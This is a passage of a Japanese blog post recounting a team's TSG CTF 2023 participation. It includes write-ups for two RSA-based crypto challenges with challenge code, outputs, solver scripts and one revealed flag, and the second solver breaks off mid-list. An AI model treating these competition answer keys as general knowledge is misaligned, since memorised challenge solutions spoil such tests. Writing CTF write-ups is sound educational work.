TSGCTF 2023 参戦記（+upsolve1問）

1. はじめに

　2023/11/4（土）16:00 JST ～ 11/5（日）16:00 JST に開催された「TSG CTF 2023」にチーム「N30Z30N」*1で参加しました。

　久しぶりに開始からほぼフルタイムで稼働し*2、最終結果は Warmup + Survey を除き 3問 を解いて 452pts（73rd / 500 teams）でした。

　順位が素数なのでヨシ！

　ちなみに、この CTF では難易度区分が示されますが、個人的には以下のように訳して解釈しています。

• beginner ＝ 「CTF経験不問（簡単とは言っていない）」

• easy = 「難しい」

• easy-med = 「超難しい」

• med = 「激難しい」

• med-hard = 「鬼難しい」

• hard = 「MAX鬼難しい」

2. 参戦準備（脳内作戦会議）

　タイムゾーン表記を見逃し「7:00からなのか、早っ」と思っていて、気づいたのが前日というところからしてポンコツ全開でした。

　ともかく猶予期間を得たものと前向きに捉え、競技に臨むことに。験担ぎは某スーパーの「メンチカツ」＋高級ソース。

　加えて今回は、暗号つよつよな方のニックネームにあやかった菓子を準備し、食しながら競技に臨むこととしました。

　OS の Update は前日までに済ませていて、少なくとも形としては万全の体勢です。

　目標はいつものとおり「Crypto 全完、できれば他分野も 1 完以上」です。

　作戦は某私鉄の「逝っとけ」ダイヤ。とにかく解けるものから解く、問題を解くためには何でもアリ、というヤツです。

3. 参戦状況

• 11/4 16:00(JST) 頃　競技開始

• 11/4 16:02(JST) 頃　「Sanity Check」フラグゲット。

• 11/4 16:27(JST) 頃　「Complicated Function」フラグゲット。

• 11/4 18:00(JST) 頃　名探偵コナン視聴（プレイは続行）

• 11/4 18:55(JST) 頃　「Unique Flag」フラグゲット。

• 11/4 19:00(JST) 頃　夕食

• 11/4 22:05(JST) 頃　「Streamer」フラグゲット。

• ＜＜以降、ひたすら虚無の世界をさまようＰａｒｔ１＞＞

• 11/5 03:00(JST) 頃　寝る

• 11/5 08:00(JST) 頃　起きる

• 11/5 08:30(JST)頃　朝食

• ＜＜以降、ひたすら虚無の世界をさまようＰａｒｔ２＞＞

• 11/5 12:30(JST)頃　昼食

• ＜＜以降、ひたすら虚無の世界をさまようＰａｒｔ３＞＞

• 11/5 15:55(JST) 頃　「Survey」フラグゲット。

• 11/5 16:00(JST) 頃　競技終了

というわけで、点数になる活動をしたのは実質 6 時間、あとはひたすら食う・寝る・虚無るのいずれかでした。

4. 感想（お気持ち）

　戦果は散々でしたが、久しぶりに CTF を楽しむことができました。

　また upsolve を通じて CTF へのモチベーションを取り戻すことができました（これが一番大きかったです）。

　開催してくださった TSG の皆様と、当日対戦してくださった各チーム及びプレイヤーの皆様に、この場を借りて御礼申し上げます。

5. Writeup

　どの問題も全く「エレガント」には解けていない気がするのですが、簡単に「採用した考え方」や「ソルバ」を紹介します。 　

5.1. Complicated Function（117pts, 70 solved）

設問

　Beginner 問で、CTF 初心者向けにフラグゲットまでの流れがガイドされています。ガイドされているのはあくまで「CTFer なら誰でも知っているであろう、フラグゲットへの一般的な歩み方」であって、問題のそのものの難易度を下げるものではありません*3。

　提供されたスクリプト等は以下です。なお、pycryptodome が必要である旨のメモも同梱されていました（確かにビギナーフレンドリーではありますね）。

「challenge.py」

from Crypto.Util.number import isPrime, getStrongPrime
from math import isqrt, sin, ceil
from secrets import flag


def f(p):
    return isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023


while True:
    p = getStrongPrime(1024)
    if p < 2**1023:
        continue
    q = f(p)
    if isPrime(q):
        break

N = p * q
e = 0x10001
m = int.from_bytes(flag, 'big')
c = pow(m, e, N)

print(f'N = {N}')
print(f'c = {c}')

「output.txt」

N = 36517404305297844159564250986998364545749151568667732337564141796428285198409567155495468780386611544242689580089026301007867731616501462571857014948329304677585682534513311931280592743677919741211277066420279973665839898693462080087384474270473468411814863104608060945012301810206919347219744349831947632420533489933798065496290612931089442978868423837068735855183319271953531607892676482508704408482509645764820088854762889436761417245871075875762331247987854763068633058894469255779600684845456979405817748289218533715177711802661303055514957438072072036882111277967476497338901040854808789173453802590826788192053
c = 10955441460830702971387335888341162305090757526159743008807609823673521696863955454033040842132899414049783504960968117620860408142538216669369693386110678382112863315608217382774969191050306778748875856817288367369848881561750362221050586276876239956129985854245190619132772579774800480316624847309710595491090120189333272498817039509311650265968036568364234815921263181086438290844976279974023236010641698308664245573159698211860696725554580817928576304048869309097043078452170158082597167199813821750238244173483019805092246803337196768846732908994751887507198151471659940647272634351206676375579258509003076141110

検討

　N、e、c が与えられてた、よくある RSA 問の体裁をしています。p は 1024 bitの Strong Prime なので、q の作り方に着目するのがよさそうです。

解法

　q = isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023 の形をしています。最初の isqrt は何回か計算を試行すると p + (2**512-6)//2 - 1 であることが推測できます。

　実際このことは、M := (2**512-6)//2 - 1 とすると、(p + M)**2 < p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p)) < (p + M + 1)**2 であることから裏付けられます。

　果たして、q = p + M + 2**1023 と表すことができることから、N = p*q から導かれる 2 次方程式を解くことで p を算出できてしまいます。

ソルバ

import gmpy2
from Crypto.Util.number import *

N = 36517404305297844159564250986998364545749151568667732337564141796428285198409567155495468780386611544242689580089026301007867731616501462571857014948329304677585682534513311931280592743677919741211277066420279973665839898693462080087384474270473468411814863104608060945012301810206919347219744349831947632420533489933798065496290612931089442978868423837068735855183319271953531607892676482508704408482509645764820088854762889436761417245871075875762331247987854763068633058894469255779600684845456979405817748289218533715177711802661303055514957438072072036882111277967476497338901040854808789173453802590826788192053
c = 10955441460830702971387335888341162305090757526159743008807609823673521696863955454033040842132899414049783504960968117620860408142538216669369693386110678382112863315608217382774969191050306778748875856817288367369848881561750362221050586276876239956129985854245190619132772579774800480316624847309710595491090120189333272498817039509311650265968036568364234815921263181086438290844976279974023236010641698308664245573159698211860696725554580817928576304048869309097043078452170158082597167199813821750238244173483019805092246803337196768846732908994751887507198151471659940647272634351206676375579258509003076141110
e = 0x10001

M = (2**512-6)//2 - 1
# isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) == p + M
# N = p*q => p * (p + M + 2**1023) - N = 0

D = (M + 2**1023)**2 + 4*N
sqrt_d = gmpy2.isqrt(D)

p = (-(M + 2**1023)+sqrt_d)//2
q = N // p
phi = (p-1)*(q-1)
d = inverse(e, phi)

m = pow(c,d,N)
print(long_to_bytes(m))

フラグ

TSGCTF{From which angle did you solve this, binary search or convergence of f(p)-p?}

二分探索でも解けるようですが、思考（指向）が「競プロ寄り」か「数学寄り」かで分かれるのかもしれません。

5.2. Unique Flag（109 pts, 82 solved）

設問

　easy（難しい）問題で、提供されたスクリプト等は以下です。

「encrypt.py」

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
N = p * q
e = 0x10001

with open('flag.txt', 'rb') as f:
    flag = f.read()

assert len(flag) == 33
    
flag_header = flag[:7] # TSGCTF{
flag_content = flag[7:-1]
flag_footer = flag[-1:] # }

assert len(flag_content) == len({byte for byte in flag_content}) # flag_content is unique

c_list = [pow(byte, e, N) for byte in flag]
clues = [x * y % N for x, y in zip(c_list[:-1], c_list[1:])]
clues.sort()

print(f'N = {N}')
print(f'e = {e}')
print(f'clues = {clues}')

「output.txt」

N = 23270433480920204754247611545325351123344837487480637119344134402239723224072753511766733288907047277110318616688410345451695008290697208699431350412549980332693080979894504737640802849242656337537061128034361792156302502329044951868719492095983428863678764573927362740207756141512536958600798465368672826288270218390845725069636496528488276905161318078890887808033722334376853632300178257589009018165644740844747444214979597702959381078126401914809713991087656801656368079319383579542103855944156160231935875884314630699684359910296730669798237991501134339113682532446997472722560474195749179320370386661938616345489
e = 65537
clues = [790128007826920672966041424911766354167695121053219604283198146207007061791691778597663178563455647947105718896263099495348666331968821896627253287975936857535926164644548223394731131868459847861503995994130787209417795249554290922334587840664276128893082715626698208421033163870050616673531495044580102830036983208043090136212931697438690030675611301000171270559392107484305007589373493054650247495594665847524590737367285135216109196557363472975056201832374767680569696302197844301099024043070258479146726214414688459938129079248125143388403636784068208501745074616490491553776387248926153964494371491351883633209, 2603711767185838325352475153597847161854130118046369285623915043550612314176250745686994158628404520769025735077328213489305045750703593138538988340789187229888984902266067604215108157628606721779126603704209046389682027226116051092595210765409544706918465385789940134172311788347486915924020739666375005469879097995622537311532236494537245411805276338873499191960938465585934543775755531517716535416304391622644348521922876999587501073379321712481689748053619310595304248483018790236975241904276396525088600521271478581198340688684196813199138458166434400373640927130152301112142288723416868406008752554068971897796, 3555341764263168489859556591176672830061219988177503466050405264336799992429135972104282899942353497557907652603350792489036502274605405291660887915416806360972250779650137925049172948193768071600510818240408613776868308398496542674893829543607137246662897358746317583492470427929271497748068342690213991707491115445413140859740482959186024227616377454531805749180736700863648663258910520198205760375727899867937645622163083304815955402598214976712655286175624671893539673068172120613290880503614440004957010458255469774287344198988168780496350286219383906192401923310489444670837618343011413316177831554304813263293, 4392082234365429459669635522490994995545586622061892472817657701654688511628534821883962531710455275948798581412337865098670688087280709878221953558349740960329160083052847343991585094759562763366071177122979453158141777809615757029472963694552128931278267696610442930805576661385112057944278069707887638239490706210686333113376066401571156753733092557168107224196049486567238631166786676598900544251407195743615657256591953956049341610070209608544320990612354876845027617374094455067062785749092329211594227845595088640923695318792943759161256049917608399044564463672780212345061033003580514031008070984006394521668, 6978684590718573243656949612105542758488203443423350685382013479128441571089892176317290844763856663774755922991003851926082052833399193817638062111399819008457173066656968710933915780345439852889885256407111306528134824030362697685736295137459712033151836378581847902384300946884645175079050691372299609133912373238921511680524246835804911263766704418407215767692780171673688161098855454535667470100406268512578658298590762764201801122154299700156455886608231139966939989436753650901587246230468663005258431711603830727021655440551309738459469083116564621458459773745615809415945961545341435040532110184451588706909, 7730262380985917599887572033422177147289651970502093448402835145164830024426315228806715285722659089566236129886746480764786215693984588815504124791891393731400575988135841499609611797069840377647924075117377822033352586269608104804125510707845643611710455554838427560803831147423159767827522768368918988345993436576494036323665588754259053163989171434047082195256858849152960407740290442654588260794482691958589991068313525613320625439489177141737508702594419202694397478381467839720929129426927668998377854144326405841432095191488744613115154408572282654135532074279295245338650730047025690759623846022642571071963, 7870428672617888994422906853248211446366754259733482277745650556132131582761503165723404791505714110195629648744360328326420176714096715656418558504951970022788814322102278336415722851826552839236483969562821649541794780657722003849928232610560989749085154296910943580468121448389230575504988958640111467569744601441342152829070870718010034108398733578934054919041551400855436743799387390257957855545880360755020395022783083503166714335601095744185285348725860445725936407700491229265197561539811624147428412389726767719262845468067268220408467424614068704646047656505819137603600314223155281334867541677294657269390, 8609510284694803043189705088389821843021038300248628370429317978814889304430328856895995414830838739620301124621301721537775180909783646308710312015748757692570074444146048063288330338241388649181127306992151615819806150752330593447168414624657327459419994792062262566992856822874586796213398413460564073159223988672183437164224830058703931407420751347450506434382840960774130788709586835237024062653074786060686562890430445063234694495435768852328222652802008741192860317680389695015771978657721235243624844185665810736779862719888645610567314465422364407861744887985325045151347091814327252867102598023702123634893, 8764012548720665713701201793155399309870111965369993371803350036539422185650799931107265721471961540862241262644925810817557287987388612113771424453413029690339343352048592343900357225140896471551985699215620154773850213962677651930062137448251705285861554850231313763242085813951196025573454108680549038776926779092562595635561865377427363791539907677647388233742883434894879173415977599370552750513325217529346778748301898211759441267178121774471269812805873578379664777277726959180923972945741326150250571072096537087980515856259481465906892196132539685345329249252030441836333228304113901123751209313594774048411, 9008821235404534774894891840865644757418002303365121156019461336283705824480673407281784353738233629927976889096625448460073180574899056351401937861566897823469165990311234532903677780258240301012377511917098868850017485389860900161403497054524629055763134706771541438200372479388084747248076874591357294592908214804614821614134453271058041821309928429492064920317496131336615880002176651354627658576705156794615097981712459554762647700173303841240037417204812844860127520500295842333216976016883771600927798062138428278165410002807841897458765380987909422855298376904935944755071636375020175879303691494691648729571, 10474911617314344093035296274381234749101583500527437860041431188313938156453438490783669910408601907840231565111467423937905944246300919566807077410926355571241589514754269643137702018163430659263615177391720920777071669679112457463342818217687533446232740783283032619985290522536451057260694049911207086850829161304525815898322999460249349418001236987856485233784175562194872850068860587367749350367692115642230663276488474831786206392289391683584796316038243477608620299442818925558267755743944966965590254288900990166554824598295411812423812057962439493264058570961162833692763593404011287652460274292011178704229, 13110381638342217700044116835482318354178640599253721255902105118218292921908590875402841920977595295587154969905468217393514029780192254567805167189561981288346541104187097786158686610182752582262736216900889630694589441983532956902475092397149348354578876977278601897135958677041840489787116994835677415918526784950587842308692695028053266428000179056540851210672916239382320991277325978720399398297894385691874713065477018336173537483516990191924630941831467023912809007439219185416637094870113459693399267881245563091987656247602891135995257754370121186475874895953059792350690971513600960862888017703690554083459, 13722721572470236588898440206865856389152421592146331372623620761105236258642769428613680530235913336412231001256536483370539801648315256149288975606335360634006014491805081550253603688595254959670129531815820738880819515467443628589419885739357776607879281030305390788462268201177519696379582421075205825223506882790846127395851423387355250518925599458496527319759716961190269475043488198823985171705163502605280956855529982181144980535693738091067309543085139412462069952512044802852746114286283887473219768202644823684600027741551806766726373880658547387314450097217066672915328591025976805608015523890515132426387, 13907378143102130732902591528175452184668250175669078564922722729277532332899307298492183863825002170085267037120966710137296520632659066245811450863381591820314104559304716576579947768421047268607544985860210956387427521210211129755935598531328869037393608408989674670981088938567613781468335811260237492104595950519517518617578677677787025453461327336960623845610621752404588399599991001699803056576669100638249157172825774364065063815561453951010729993716989597143669677725856650954155213710311820417545885775510044222220541796461890558861039133971629201524057880779170401640703503019641132712790726669921828415791, 14120400860385637396632607286135661793958438285062218101343811442329217898129411032002000350977425825996409346097620544352258144601308497322065150782257038383914436998782920142187156177557396917159637452504378331382141301919552487290646033095326670250741650299062291668092793457098216953317991446828793222200503107261585592188754090447817955186450059917734158228634856449513892854663100410202968587025379391901260869884847048181290904241170031050049608323224619595992013998760176044527640260560226425674718522654115796289752023951046001416701610705547940854507383323162061543349749057955527154808438878655873381924405, 14698896348088063156187270997421588677714399061222880874144618906068645039117367567961854550911710929776929577319055009436987940195644271595440197688498312761277731697978188128431643248470794438585436719216257105191878641049129049923301277529851691883566500423292922218796681106904405477311127758973402766359242062810538614875409810216565025132923823792242500786728482925652318681058145996956719422754840265487588886384210435421642534141346623264992306879009731648539475819770296162993354959588928869246795665015356541113141789547198151388517967205114998707046242427529782450631008568205068970921337432050960660682459, 15029884228277986489199399805546744756384194842114602643592034471387136929994797445880809477875738231285145593249223445053535965293809750894912475666388265290853063554307747052471064827789230626431100261538591961826419047326217130106954938564102444946805966835435441345928820303084749906070834370292328693504130454703539813471516484793230944669747561760610824827040233316834137947013336066206964971490936063361717836670055655255008278013748443661849914080655007167036195301285165244039723352500939219835986599194370637835048745016392523067465483063368927290961796554522196264881536578834490630583213917304029865939161, 15309200221723806616467815527508949449508016308667619503475045946652621652525992305168651560887284176353924931956269939787077811973514566176608684620809151397625885719537402839920369797647002257990605085738377504988859240254084164590957509486682488178961349129559926308115898888408809018423909717677181884526722126502322318455704911203649111381107113783748969172970323298774692322646329004904087523994990271905442581272126396627211570936941571392711592683960657204560162191971440131508850959242922017207256661353383453193118931908674343390887637124979355811285785638033429254835197971636826274879249886842048918432736, 15724182462935088662707915446655107878278152894209881300967803307334781347515606304746531472463196270125945780931765849147216669235630418637875694444778675771594247113061143844136107527843426140240070502431201960657331892635213118991405460668666027672294906783791441223090507736721265283630015340939375871798311963795515181453223204337362840111547002251197009848653679561190486710064616795228154486847718903419257804283649208020835219877286500226549440463845774258811597945314325403472598511132833259835975605936073505765246811661546643859844350550681749257518136665405784760339373876106842193544962035364141936283753, 16010598613006269242394494415481073404802885743759056303920374396389364406805008152009154054902831052653758678196829556029416363334310779301534650601102392985616360749664385284718557734612612334579643566581651102242306222193227111260448228193714693240481130347390382116855512299873569881326939972343314570039547897580924071328599722614389921295511670529095683738107704146361532800780429539031159556496976109863114080778133301779747597407525649360836980458868113543694436862963884485475906909931191611405995601484367864575876650055986787526037062685039522257827670426684466191523819658566267710796063797508503673575508, 16176225157815061780398885654620420828395273758161309313595904684794782916031471005382323856662285262373051339479066795020066992972796748770489374700029745240899106774349950323621974876991346899532267757945372794675963763211677154442477490480764334758589065403101041835380412036155680032278713692380636751799800174173937468277604554776759076686957635653867348211328058462563934841255845438021673179325752005903202195307236777237380608739528664802974483747876242106584283139484518385093456386588108230286642702223901374448669968747735244954159162896226605024555185352576619896951345620018917148886974802087005061112135, 16681188269653223654724315030136682210774552752554458086958468278548783168739866695726975896035811383412108751120213372631892032120642218357242947180926422406518062384144340315186804028028673285952917556435047990619394575021747680589947318197008430952647870055239411272055715760414079469566525762018667573302151696340104245475784099738670745323261117058044792751584716381734074389247651104965039208100878784761184187575420884985536037251587193757974760803271209026578181938823090178086385927565035063194430696540320842560908821318551920518079959829776767797371769064772564881430027427764161144068312324251665729488780, 17829658117323428808747868598742075440062137591346852189083905589271168845051505272630777599191830286419880652433509964145788364929611644511812576526573426916933568982874857304389571078641719134887390902234897633109911630620064342448365833021501305097046535685687516423128015236731938861706627775842928316810722656485753731575710818024516292222339926273882441860157758675960292785969030577768637311050941129992914285935037973635612973287046435622821551354639344767359753011162290622995439092970304336429989082391680592785895499607898534896211918901223135266662562647266007027360588113757029416715494934165222739616683, 18142530606909716062376251786389643324197492525662369626779351589827519710596398063341881492070698478957535529402981903035193439593816123316087575219925977686245766113691521350584328679759502382807285523704968935762596078425008178057360086647386696939735982650179504583840710564525731340265745482252714541820058727354731450644763797071558334414897585733667272516453556559972684675125516239673811780523512745567106915629379361310179451294037943334450423100411431081620714967277818090200519889910181746783471882899674667241036338987708997780333893361059800622713833148966642131905197255377905810743498001951198125311059, 18916874915493297936079891268802075451235734846035427583955430843324283662366324633202233385782932817340850020378986785716061936989209245162032573305936283861299211919092036584752926046345006676182392365941514696661367329055550272171753927543111392356350737216020653037731493630053105987250335352958368913760588484193482490045930904427197949983588313643868410274754829287237363788001109161904345279546393663787324578514084534019735002594130069819170331383328434044289905874038021158845855747798172165049208337121421852611456896877370705022828767867961460247191792131749388018583310316369606660652603473617620362220776, 19761531445789644550941649188821673088534370105097262343329866705687995865103813168376859916409080934942621503804632853819460640556129955518535485874638416201423297931706690054251711146751875933841075798086049232897482741510517534219163312537149829346821694199026849981873391746409094894635786418504655918594084378562506966684113615145069297495931332254115518216812302704944162971621215874347240778158691664956918543903100361085291794226778736356304744575442579466683011144983985184446648189753472950753969800901371318514176099102941183927711143295688852105189853285767981704534129685617787251540530767915253022947490, 20256094547551427361159536964089120192470579547856867798123148497076148597338094007239708853868154430044018965669548800520357708625488500840886524107263842898564620995651088843299156623903379275911887021467406220229809304913979273339544306605180744927202065302617395980949445708701034751035277692178613703611237789111970396029694552402613307432231659723290421165555788483472386785358943811922285121036435102796254087074468046006584551405865525781432291674627713381806461231003764884384009047079053403228562795215671383412031358781402019097452515349062662042796744413040430120541108838183559554461277378419187930920413, 20363523683403754850477941996268145873307803894978921710228462628146999736940222671129222862265160379946415684464747917659662321205107403115837157035374067466188228334375906081151411079001619437896818940656122691708169785711806055272700179185892964477917806030204206763229340531579796772278526520943763997401381029845705999036446407497831084737277684996161128395539244139220962069262836778956401801008041186706885436332324336681638085145485728737526432916392575653655187967807139187810035548902309557063161478464221501395056289134752409225031789805569864167180786090815982754846720197089740299363472750121282729340973, 20814912434079654358712994986655938285672355659172554521972448981339195273278087029468453535698010595236459533086499060463317723686547000241667857244712653564557545738168820338242942485233926997951781862259839493112100996378583435254659260667047548564231904421776634552680502559175487802626042304303449745827230709927179704869112666087937034760280611168221409540432787302943151703739428105219869226885922197133645265907625314478690899327851652074282189138427005746519010639537824886929608878348016360424645895051778822009871610495121610883214100573360743476671172464995366677557757239376079084722813893096016326823606, 20978978782083985514808414763592752188297832781732994978611517153950737776001188808668923478821417090172961435355822072526474663371493271175072308071960227368747274906534977118068778902399152185246696702689800010100729290250592141361416806610123159371068751278126481137723149743960233299432386251076215253444110113219693470037719585135531616598037376091905011497168565184564212550608338331996940342482386974738408168008861574665395721197042150006344988032346900944468633093984681022454475106597004968263850271320396630355903399323458669065574677651201990075334529713587085951400864385000308137999968746200082025015416, 21510393992991434219771555281382073811886457282216421285690979093137458508475954568419056773565332788894486275426908163637126421408657102596322971185031241956913463507854888295227362444328359266706872420059719619657069662925599952624262906407162386789979523361641558714567193670965811155805593371330497659154542639258412356476199441487088405118103359273682288473187622391831093531374603531951020860755898239699034003278466710154923269181470911166256665818879112416320538492976301262952831443514831107346725637206419870968005748691921100981160236843650083592044728031025798498262451919405184577923803192873012465402408, 21702370286383142896382980896421981414971906140748132749535149467159561579953330771029906461700411301795811236217402115596536451372996903939804016345835732303546870765245612262653631530944318690150045446899350265189274003884240988723566380751519278171721537440720211256644999794264781281823566708722358903968738834874217357352233640572984862487562571610283183746852625175244503706166323292070046358158579157876780137070957640130723554973407811810584917266738218587446647624045843454142231125439581659799761005303756629310091897520981148547565077534090671712715361212723249781422387730181374938558849132220687101010195]

検討

　スクリプトの先頭を見ると一瞬だけ RSA っぽく見えるのですが、1 文字ずつ暗号化した際の暗号文を並べ替えて出力しているので解読手法は「対 RSA 用」ではなさそうです。

　 暗号化の方法は、隣の文字（の文字コード）と掛け算をした結果を e 乗（mod N）する、ということですので、平文の文字セットが 0x20～0x7f の高々 95 種類と仮定すれば暗号文に出てくる数値は 95*95 = 9025 通りしかありあせん。

　ですので、探索＆辞書照合系のアプローチが有効です。

解法

　判明分をもとに、次の 1 文字の候補を決め、候補があれば正しいと仮定して次を探索、候補なしならNG・・・を進めてゆき、最後までたどり着いたものが正解となります。

　昔の探索系 RSA 問で使ったプログラムを改造して実装しましたが、この実装が良いとは思えないのでウマい人のを見て再履修したいと思っています。

ソルバ

import copy

N = 23270433480920204754247611545325351123344837487480637119344134402239723224072753511766733288907047277110318616688410345451695008290697208699431350412549980332693080979894504737640802849242656337537061128034361792156302502329044951868719492095983428863678764573927362740207756141512536958600798465368672826288270218390845725069636496528488276905161318078890887808033722334376853632300178257589009018165644740844747444214979597702959381078126401914809713991087656801656368079319383579542103855944156160231935875884314630699684359910296730669798237991501134339113682532446997472722560474195749179320370386661938616345489
e = 65537
clues = [790128007826920672966041424911766354167695121053219604283198146207007061791691778597663178563455647947105718896263099495348666331968821896627253287975936857535926164644548223394731131868459847861503995994130787209417795249554290922334587840664276128893082715626698208421033163870050616673531495044580102830036983208043090136212931697438690030675611301000171270559392107484305007589373493054650247495594665847524590737367285135216109196557363472975056201832374767680569696302197844301099024043070258479146726214414688459938129079248125143388403636784068208501745074616490491553776387248926153964494371491351883633209, 2603711767185838325352475153597847161854130118046369285623915043550612314176250745686994158628404520769025735077328213489305045750703593138538988340789187229888984902266067604215108157628606721779126603704209046389682027226116051092595210765409544706918465385789940134172311788347486915924020739666375005469879097995622537311532236494537245411805276338873499191960938465585934543775755531517716535416304391622644348521922876999587501073379321712481689748053619310595304248483018790236975241904276396525088600521271478581198340688684196813199138458166434400373640927130152301112142288723416868406008752554068971897796, 3555341764263168489859556591176672830061219988177503466050405264336799992429135972104282899942353497557907652603350792489036502274605405291660887915416806360972250779650137925049172948193768071600510818240408613776868308398496542674893829543607137246662897358746317583492470427929271497748068342690213991707491115445413140859740482959186024227616377454531805749180736700863648663258910520198205760375727899867937645622163083304815955402598214976712655286175624671893539673068172120613290880503614440004957010458255469774287344198988168780496350286219383906192401923310489444670837618343011413316177831554304813263293, 4392082234365429459669635522490994995545586622061892472817657701654688511628534821883962531710455275948798581412337865098670688087280709878221953558349740960329160083052847343991585094759562763366071177122979453158141777809615757029472963694552128931278267696610442930805576661385112057944278069707887638239490706210686333113376066401571156753733092557168107224196049486567238631166786676598900544251407195743615657256591953956049341610070209608544320990612354876845027617374094455067062785749092329211594227845595088640923695318792943759161256049917608399044564463672780212345061033003580514031008070984006394521668, 6978684590718573243656949612105542758488203443423350685382013479128441571089892176317290844763856663774755922991003851926082052833399193817638062111399819008457173066656968710933915780345439852889885256407111306528134824030362697685736295137459712033151836378581847902384300946884645175079050691372299609133912373238921511680524246835804911263766704418407215767692780171673688161098855454535667470100406268512578658298590762764201801122154299700156455886608231139966939989436753650901587246230468663005258431711603830727021655440551309738459469083116564621458459773745615809415945961545341435040532110184451588706909, 7730262380985917599887572033422177147289651970502093448402835145164830024426315228806715285722659089566236129886746480764786215693984588815504124791891393731400575988135841499609611797069840377647924075117377822033352586269608104804125510707845643611710455554838427560803831147423159767827522768368918988345993436576494036323665588754259053163989171434047082195256858849152960407740290442654588260794482691958589991068313525613320625439489177141737508702594419202694397478381467839720929129426927668998377854144326405841432095191488744613115154408572282654135532074279295245338650730047025690759623846022642571071963, 7870428672617888994422906853248211446366754259733482277745650556132131582761503165723404791505714110195629648744360328326420176714096715656418558504951970022788814322102278336415722851826552839236483969562821649541794780657722003849928232610560989749085154296910943580468121448389230575504988958640111467569744601441342152829070870718010034108398733578934054919041551400855436743799387390257957855545880360755020395022783083503166714335601095744185285348725860445725936407700491229265197561539811624147428412389726767719262845468067268220408467424614068704646047656505819137603600314223155281334867541677294657269390, 8609510284694803043189705088389821843021038300248628370429317978814889304430328856895995414830838739620301124621301721537775180909783646308710312015748757692570074444146048063288330338241388649181127306992151615819806150752330593447168414624657327459419994792062262566992856822874586796213398413460564073159223988672183437164224830058703931407420751347450506434382840960774130788709586835237024062653074786060686562890430445063234694495435768852328222652802008741192860317680389695015771978657721235243624844185665810736779862719888645610567314465422364407861744887985325045151347091814327252867102598023702123634893, 8764012548720665713701201793155399309870111965369993371803350036539422185650799931107265721471961540862241262644925810817557287987388612113771424453413029690339343352048592343900357225140896471551985699215620154773850213962677651930062137448251705285861554850231313763242085813951196025573454108680549038776926779092562595635561865377427363791539907677647388233742883434894879173415977599370552750513325217529346778748301898211759441267178121774471269812805873578379664777277726959180923972945741326150250571072096537087980515856259481465906892196132539685345329249252030441836333228304113901123751209313594774048411, 9008821235404534774894891840865644757418002303365121156019461336283705824480673407281784353738233629927976889096625448460073180574899056351401937861566897823469165990311234532903677780258240301012377511917098868850017485389860900161403497054524629055763134706771541438200372479388084747248076874591357294592908214804614821614134453271058041821309928429492064920317496131336615880002176651354627658576705156794615097981712459554762647700173303841240037417204812844860127520500295842333216976016883771600927798062138428278165410002807841897458765380987909422855298376904935944755071636375020175879303691494691648729571, 10474911617314344093035296274381234749101583500527437860041431188313938156453438490783669910408601907840231565111467423937905944246300919566807077410926355571241589514754269643137702018163430659263615177391720920777071669679112457463342818217687533446232740783283032619985290522536451057260694049911207086850829161304525815898322999460249349418001236987856485233784175562194872850068860587367749350367692115642230663276488474831786206392289391683584796316038243477608620299442818925558267755743944966965590254288900990166554824598295411812423812057962439493264058570961162833692763593404011287652460274292011178704229, 13110381638342217700044116835482318354178640599253721255902105118218292921908590875402841920977595295587154969905468217393514029780192254567805167189561981288346541104187097786158686610182752582262736216900889630694589441983532956902475092397149348354578876977278601897135958677041840489787116994835677415918526784950587842308692695028053266428000179056540851210672916239382320991277325978720399398297894385691874713065477018336173537483516990191924630941831467023912809007439219185416637094870113459693399267881245563091987656247602891135995257754370121186475874895953059792350690971513600960862888017703690554083459, 13722721572470236588898440206865856389152421592146331372623620761105236258642769428613680530235913336412231001256536483370539801648315256149288975606335360634006014491805081550253603688595254959670129531815820738880819515467443628589419885739357776607879281030305390788462268201177519696379582421075205825223506882790846127395851423387355250518925599458496527319759716961190269475043488198823985171705163502605280956855529982181144980535693738091067309543085139412462069952512044802852746114286283887473219768202644823684600027741551806766726373880658547387314450097217066672915328591025976805608015523890515132426387, 13907378143102130732902591528175452184668250175669078564922722729277532332899307298492183863825002170085267037120966710137296520632659066245811450863381591820314104559304716576579947768421047268607544985860210956387427521210211129755935598531328869037393608408989674670981088938567613781468335811260237492104595950519517518617578677677787025453461327336960623845610621752404588399599991001699803056576669100638249157172825774364065063815561453951010729993716989597143669677725856650954155213710311820417545885775510044222220541796461890558861039133971629201524057880779170401640703503019641132712790726669921828415791, 14120400860385637396632607286135661793958438285062218101343811442329217898129411032002000350977425825996409346097620544352258144601308497322065150782257038383914436998782920142187156177557396917159637452504378331382141301919552487290646033095326670250741650299062291668092793457098216953317991446828793222200503107261585592188754090447817955186450059917734158228634856449513892854663100410202968587025379391901260869884847048181290904241170031050049608323224619595992013998760176044527640260560226425674718522654115796289752023951046001416701610705547940854507383323162061543349749057955527154808438878655873381924405, 14698896348088063156187270997421588677714399061222880874144618906068645039117367567961854550911710929776929577319055009436987940195644271595440197688498312761277731697978188128431643248470794438585436719216257105191878641049129049923301277529851691883566500423292922218796681106904405477311127758973402766359242062810538614875409810216565025132923823792242500786728482925652318681058145996956719422754840265487588886384210435421642534141346623264992306879009731648539475819770296162993354959588928869246795665015356541113141789547198151388517967205114998707046242427529782450631008568205068970921337432050960660682459, 15029884228277986489199399805546744756384194842114602643592034471387136929994797445880809477875738231285145593249223445053535965293809750894912475666388265290853063554307747052471064827789230626431100261538591961826419047326217130106954938564102444946805966835435441345928820303084749906070834370292328693504130454703539813471516484793230944669747561760610824827040233316834137947013336066206964971490936063361717836670055655255008278013748443661849914080655007167036195301285165244039723352500939219835986599194370637835048745016392523067465483063368927290961796554522196264881536578834490630583213917304029865939161, 15309200221723806616467815527508949449508016308667619503475045946652621652525992305168651560887284176353924931956269939787077811973514566176608684620809151397625885719537402839920369797647002257990605085738377504988859240254084164590957509486682488178961349129559926308115898888408809018423909717677181884526722126502322318455704911203649111381107113783748969172970323298774692322646329004904087523994990271905442581272126396627211570936941571392711592683960657204560162191971440131508850959242922017207256661353383453193118931908674343390887637124979355811285785638033429254835197971636826274879249886842048918432736, 